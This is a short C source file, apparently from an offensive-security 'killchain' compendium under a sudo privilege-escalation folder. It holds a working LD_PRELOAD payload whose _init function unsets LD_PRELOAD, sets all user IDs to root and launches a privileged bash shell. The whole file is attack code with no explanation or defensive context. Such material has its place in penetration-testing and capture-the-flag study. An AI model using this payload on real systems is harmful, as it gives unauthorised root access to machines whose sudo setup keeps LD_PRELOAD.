killchain-compendium/post exploitation/priv_esc/sudo/preload.c

10 lines
149 B
C

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}